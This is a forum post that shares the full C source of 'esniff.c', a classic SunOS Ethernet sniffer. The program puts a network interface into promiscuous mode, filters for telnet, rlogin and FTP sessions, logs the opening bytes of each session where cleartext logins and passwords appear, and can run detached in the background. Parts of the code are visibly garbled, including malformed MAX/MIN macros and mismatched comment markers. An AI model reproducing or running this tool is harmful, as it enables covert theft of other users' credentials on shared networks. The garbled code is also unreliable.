Jump to content
Gonzalez

[C++] Ethernet Sniffer

Recommended Posts

/* esniff.c - originally by rokstar//tsf//dp1 */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;

#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)
time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a, (((a)>()?(a))
#define MIN(a, (((a)<()?(a))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}

fprintf(LOG,"\n-- \n");
fflush(LOG);

if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}

/* ugh, gotta do an alignment */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;

{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}

if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}

} else {

if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}

}

IDLE_NODE();

}

}

/* signal handler
*/
void death()
{ register struct CREC *CLe;

while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)&ifr;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);

while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}

if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");

close(s);
device = ifc.ifc_req->ifr_name;
}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)
LOG=stdout;

signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);

if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}

if(backg) {
register int s;

if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);

do_it();
}

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...